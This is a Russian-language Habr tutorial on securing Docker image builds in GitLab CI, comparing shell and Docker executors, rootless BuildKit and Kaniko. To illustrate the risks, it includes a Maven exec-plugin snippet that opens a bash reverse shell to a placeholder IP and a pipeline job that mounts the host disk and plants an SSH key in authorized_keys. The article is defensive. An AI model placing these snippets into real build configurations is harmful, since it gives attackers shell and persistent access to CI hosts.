Безопасная сборка Docker-образов в CI: пошаговая инструкция

от автора

Привет, Хабр! Я Саша Лысенко, ведущий эксперт по безопасной разработке в К2 Кибербезопасность. Сейчас появилась куча инструментов для автоматизации рутинных задачи и все активно идут в эту сторону для оптимизации ресурсов и быстрых результатов. Так в DevOps внедрение CI/CD пайплайнов ускоряет разработку, деплой приложений, сокращает time to market. Автоматизация — незаменимый сегодня процесс, который при этом открывает отличные лазейки и для киберугроз. Далеко не все задумываются, кому и какие доступы раздают и к каким последствиям это может привести. Поэтому без учета кибербезопасности здесь появляются дополнительные риски инцидентов. В этой статье я поэтапно разобрал пример сборки Docker-образов в GitLab CI пайплайнах с учетом баланса между безопасностью автоматизированной разработки и скоростью процесса.

Шаг 1. Shell executor

Итак, мы создали отдельную виртуалку, установили на ней демона Gitlab CI, зарегистрировали его в GitLab и начали запускать свои пайпланы. Отлично — у нас есть DevOps!

Теперь в нашей инфраструктуре любой разработчик может выполнить произвольный код с правами gitlab-runner, получив тем самым доступ к хосту. Кроме возможности воздействовать на пайплайны из других проектов, такой доступ также позволяет перемещаться по инфраструктуре дальше. Раннеры часто имеют расширенные сетевые доступы, например, для автоматизации деплоя. В рантайме задач встречаются довольно интересные секреты и пароли, а также открывается возможность встраивать вредоносы в результаты работы нашей автоматизации.

Какие же у нас есть пути решения:

Вариант 1. «Ограничить запуск пайплайнов только для защищенных веток и сливать в них код только после код-ревью» — кажется хорошим решением, но на практике не применимо. От нас требуют скорости, быстрой проверки гипотез, а такой подход сильно застопорит процесс разработки. Также это нас никак не защитит от возможных воздействий со стороны скомпрометированных зависимостей.

Вариант 2. Запретить разработчикам править пайплайн. Например, вынести их в отдельный репозиторий или просто запретить редактировать файл. Как и с предыдущим способом, в этом варианте тоже есть проблемы. Во-первых, не всегда есть выделенный человек на CI/CD. Во-вторых, скомпрометированные зависимости. В-третьих, не стоит забывать, что запустить «скрипт» можно разными способами. Например, у нас две стадии сборки: на первой стадии собирается jar файл с помощью maven, а на второй — docker-образ с этим jar файлом.

stages:   - build   - dockerize  maven-build:   stage: build   script: - echo "Running Maven build..." - mvn clean package -DskipTests   artifacts: paths:   - target/*.jar  docker-build:   stage: dockerize   script: - echo "Building Docker image..." - docker build -t my-app-image

Манипулируя конфигурацией maven, можно запустить произвольный скрипт:

<plugin>   <groupId>org.codehaus.mojo</groupId>   <artifactId>exec-maven-plugin</artifactId>   <version>3.1.0</version>   <executions> <execution>   <phase>package</phase>   <goals>     <goal>exec</goal>   </goals>   <configuration>     <executable>bash</executable>     <arguments>       <argument>-c</argument>       <argument>bash -i >& /dev/tcp/256.261.282.293/6666 0>&1</argument>     </arguments>   </configuration> </execution>   </executions> </plugin>

Запретить ВСЕ исполняемое на стадии сборки просто не получится, слишком много лазеек. Да и в итоге мы опять начинаем тормозить процессы.

Шаг 2. Docker Executor

На помощь нам приходят контейнеры. Они позволяют изолировать рантайм задач CI и ограничивать доступ к ресурсам хоста.

Вернемся к нашему пайплайну из двух стадий. Для сборки контейнера нам потребуется docker-демон. Доступ к хостовому отбросим сразу — это даст возможность управлять рантаймом других задач, да и в целом, имея такие привилегии, получить полный доступ к системе не сложно.

Обратимся к документации. Там нам советуют использовать образ dind (Docker in Docker) в качестве сервиса к нашей задаче. Чтобы это работало, надо настроить раннер на запуск контейнеров в привилегированном режиме:

concurrent = 100 log_level = "warning" log_format = "text" check_interval = 3 # Value in seconds  [[runners]]   name = "first"   url = "https://256.261.282.293"   executor = "docker"   token = "*******53NxVFzR**********"   [runners.docker] tls_verify = false privileged = true disable_cache = false volumes = ["/cache"] pull_policy = "if-not-present" allowed_pull_policies = ["if-not-present"] userns_mode = "auto" security_opt = [   "no-new-privileges" ]
stages:   - build build:   stage: build   image: docker:24.0.5   services: - name: docker:24.0.5-dind   alias: docker   command: ["--tls=false"]   variables: DOCKER_HOST: tcp://docker:2375 DOCKER_DRIVER: overlay2 DOCKER_TLS_CERTDIR: ""   before_script: - docker info   script: - docker build -t 'my-registry/t-group/backend:latest' 

Ключевая проблема, которая у нас по-прежнему остается — привилегированный контейнер. Имея такой доступ, мы все еще довольно простыми манипуляциями можем получить доступ к хостовой системе.

stages:   - build  build:   stage: build   image: name: docker:latest docker:   user: root   variables: DOCKER_HOST: tcp://docker:2375 DOCKER_DRIVER: overlay2 DOCKER_TLS_CERTDIR: ""   services: - name: docker:24.0.5-dind   alias: docker   command: ["--tls=false"]   before_script: - docker info   script: - mkdir /pwnd - mount /dev/dm-0 /pwnd - echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC/p4C5igypITUB/t/WfiEwTx8pAt6qlI+ik7P2MnVbQOmLThEtJ7GYMAhBWBuJDWsuiSVndIUJPLOeTJyK85vImQY7tsSf1dQ0VWUdLojqQ3B0Vq2tdFd5Egi1e2HMxUjrd39AO9oohTvGhPVNicY1iSIkqawQLuAIOSvv9ZF8JfeEeoboT0rKrA/oX1fFD8jJ7N+vRQVzZ0sx+xoLcSVoy28jsj9x8hSJR+/+x0nULcGceJgmthF2bqzplJyImi8B2NT1zwO6b5l9BfvTCikkHrfTYLzmSaP0F8cQ5qyq0y/N6bQ4JJxBLAPgxFdKviWrK8WzailCSbR+csFePW18Ti1lVAOca+NpnRTXUHMVmu+4Zw6wUB0v/bYPn5b/Yq7yibCdC5IRQEzauji+MgOTx/l9b3b3hXyf4e+YnjiBAe9vCMZsQO0SWO9zWaEtj8dpJb8T5jmuuMYbxgWI99dobCqUSMk9b5mPPsRkUDQGzE3DbbAkVqE615As1OxTzrs= pwnd@pwnd' >> /pwnd/home/debian/.ssh/authorized_keys - docker build -t my-docker-image

Хотя мы можем доверять нашим разработчикам и быть уверенными, что они не станут совершать подобных действий, мы не можем гарантировать, что используемые образы и ПО не содержат скрытых уязвимостей или вредоносного кода. Кроме того, даже ограниченный доступ к среде разработки может стать точкой входа для получения привилегированного доступа к инфраструктуре. Поэтому давайте попробуем данные привилегии сократить по максимуму.

Шаг 3. Rootless buildkit

Привилегированный доступ требует запуск докера — попробуем от него избавиться. Из всего функционала нам нужна только сборка. Для сборки контейнеров в докере используется buildx, который в свою очередь отправляет запросы в buildkit демон. Запуск buildkit демона тоже требует привилегированных прав, но в документации к нему есть один интересный раздел «Rootless mode» — запуск buildkit без прав суперпользователя.

Для реализации rootless режима используется RootlessKit — имплементация «fake-root». RootlessKit создает дополнительный user-namespace, имитируя root пользователя. Подробнее можно ознакомится в документации к RootlessKit.

В наборе buildkit есть скрипт buildctl-daemonless.sh, который позволит нам запустить сборку без демона. Если быть точнее, скрипт запускает демона и buildkitctl обращается к нему. Чтобы упростить пайплайн можно использовать этот скрипт вместо запуска сервиса. Таким образом, получаем следующий пайплайн:

stages:   - build  build:   stage: build   image: name: moby/buildkit:master-rootless entrypoint: [""]   variables: BUILDKITD_FLAGS: --oci-worker-no-process-sandbox   script: - buildctl-daemonless.sh build   --frontend=dockerfile.v0   --local context=./   --local dockerfile=./   --output type=image,name=registry.null/t-group/backend:latest,push=false

Для использования RootlessKit необходимо в явном виде отключить профили apparmor и seccomp, так как их стандартные профили не позволяют создавать новые namespace. А также добавить linux capabilities SETUID, SETGUID и убрать опцию no-new-privileges для имитации root пользователя. В итоге конфиг раннера будет выглядеть следующим образом:

concurrent = 100 log_level = "warning" log_format = "text" check_interval = 3  [[runners]]   name = "first"   url = "https://256.261.282.293"   executor = "docker"   token = "*******53NxVFzR**********"   [runners.docker] tls_verify = false privileged = false disable_cache = true volumes = [] pull_policy = "if-not-present" allowed_pull_policies = ["if-not-present"] userns_mode = "auto" cap_add = ["SETUID", "SETGID"]           user = "1000:1000" security_opt = [   "seccomp=unconfined",   "apparmor=unconfined" ]

В контексте RootlessKit это решение не создает дополнительных рисков с точки зрения безопасности. Однако требует поддержки отдельного пула раннеров, предназначенного исключительно для сборки контейнерных образов. Кроме того, из-за отсутствия механизмов профилирования безопасности нам приходится явно указывать uid и gid пользователя в конфигурации задачи, что может быть достаточно неудобным.

Шаг 4. Kaniko 

А что если мы хотим сохранить seccomp и apparmor профили? Тут нам на помощь приходит Kaniko — инструмент по сборке контейнеров. Kaniko имеет ряд ограничений: нельзя собирать Windows-контейнеры, сложности с циклами на ссылках, довольно редко выходят обновления. При этом он позволяет собирать контейнеры без компромиссов безопасности:

stages:   - build  build:   stage: build   image: name: gcr.io/kaniko-project/executor:v1.23.2-debug entrypoint: [""]   script: - executor   --context "${CI_PROJECT_DIR}/"   -f "${CI_PROJECT_DIR}/Dockerfile"   --destination 'registry.null/t-group/backend:latest'

Kaniko не создает новых namespace. Вместо этого он распаковывает слой образа и делает в него chroot.

Это накладывает ряд ограничений:

  • увеличенное время сборки;

  • циклы на ссылках;

  • запуск только от root (хотя абстракциями выше контекст достаточно хорошо изолирован).

Вывод

Ограничить привилегии «широким жестом» — не получится. Независимо от используемого инструмента, потребуется четкое разграничение кода приложения и кода CI/CD, продуманная ролевая модель доступа, а также эффективное управление привилегиями.

Важно понимать, что даже официальная документация нередко содержит решения с серьезными рисками. Поэтому интеграция кибербезопасности должна осуществляться комплексно — как на техническом уровне, так и на организационном. Только системный подход позволит минимизировать риски и обеспечить устойчивую защиту разработки.


ссылка на оригинал статьи https://habr.com/ru/articles/914014/